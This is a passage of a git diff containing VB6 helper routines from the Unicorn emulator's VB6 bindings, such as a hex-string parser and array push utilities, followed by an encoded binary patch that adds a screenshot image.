False) + +'supports: +'11 22 33 44 spaced hex chars +'11223344 run together hex strings +'11,22,33,44 csv hex +'\x11,0x22 misc C source rips +' +'ignores common C source prefixes, operators, delimiters, and whitespace +' +'not supported +'1,2,3,4 all hex chars are must have two chars even if delimited +' +'a version which supports more formats is here: +' https://github.com/dzzie/libs/blob/master/dzrt/globals.cls + + Dim ret As String, x As String, str As String + Dim r() As Byte, b As Byte, b1 As Byte + Dim foundDecimal As Boolean, tmp, i, a, a2 + Dim pos As Long, marker As String + + On Error GoTo nope + + str = Replace(hexstr, vbCr, Empty) + str = Replace(str, vbLf, Empty) + str = Replace(str, vbTab, Empty) + str = Replace(str, Chr(0), Empty) + str = Replace(str, "{", Empty) + str = Replace(str, "}", Empty) + str = Replace(str, ";", Empty) + str = Replace(str, "+", Empty) + str = Replace(str, """""", Empty) + str = Replace(str, "'", Empty) + str = Replace(str, " ", Empty) + str = Replace(str, "0x", Empty) + str = Replace(str, "\x", Empty) + str = Replace(str, ",", Empty) + + For i = 1 To Len(str) Step 2 + x = Mid(str, i, 2) + If Not isHexChar(x, b) Then Exit Function + bpush r(), b + Next + + If strRet Then + toBytes = StrConv(r, vbUnicode, LANG_US) + Else + toBytes = r + End If + +nope: +End Function + +Private Sub bpush(bAry() As Byte, b As Byte) 'this modifies parent ary object + On Error GoTo init + Dim x As Long + + x = UBound(bAry) '<-throws Error If Not initalized + ReDim Preserve bAry(UBound(bAry) + 1) + bAry(UBound(bAry)) = b + + Exit Sub + +init: + ReDim bAry(0) + bAry(0) = b + +End Sub + +Sub push(ary, value) 'this modifies parent ary object + On Error GoTo init + Dim x + + x = UBound(ary) + ReDim Preserve ary(x + 1) + + If IsObject(value) Then + Set ary(x + 1) = value + Else + ary(x + 1) = value + End If + + Exit Sub +init: + ReDim ary(0) + If IsObject(value) Then + Set ary(0) = value + Else + ary(0) = value + End If +End Sub + + +Public Function isHexChar(hexValue As String, Optional b As Byte) As Boolean + On Error Resume Next + Dim v As Long + + If Len(hexValue) = 0 Then GoTo nope + If Len(hexValue) > 2 Then GoTo nope 'expecting hex char code like FF or 90 + + v = CLng("&h" & hexValue) + If Err.Number <> 0 Then GoTo nope 'invalid hex code + + b = CByte(v) + If Err.Number <> 0 Then GoTo nope 'shouldnt happen.. > 255 cant be with len() <=2 ? + + isHexChar = True + + Exit Function +nope: + Err.Clear + isHexChar = False +End Function + +Function hhex(b As Byte) As String + hhex = Hex(b) + If Len(hhex) = 1 Then hhex = "0" & hhex +End Function + +Function rpad(x, i, Optional c = " ") + rpad = Left(x & String(i, c), i) +End Function + +Function lbCopy(lstBox As Object) As String + + Dim i As Long + Dim tmp() As String + + For i = 0 To lstBox.ListCount + push tmp, lstBox.List(i) + Next + + lbCopy = Join(tmp, vbCrLf) + +End Function + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/screenshot.png b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/screenshot.png new file mode 100644 index 0000000000000000000000000000000000000000..fa1cf817bea030c47093a03e7a3e0c7bccf2f11c GIT binary patch literal 22954 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 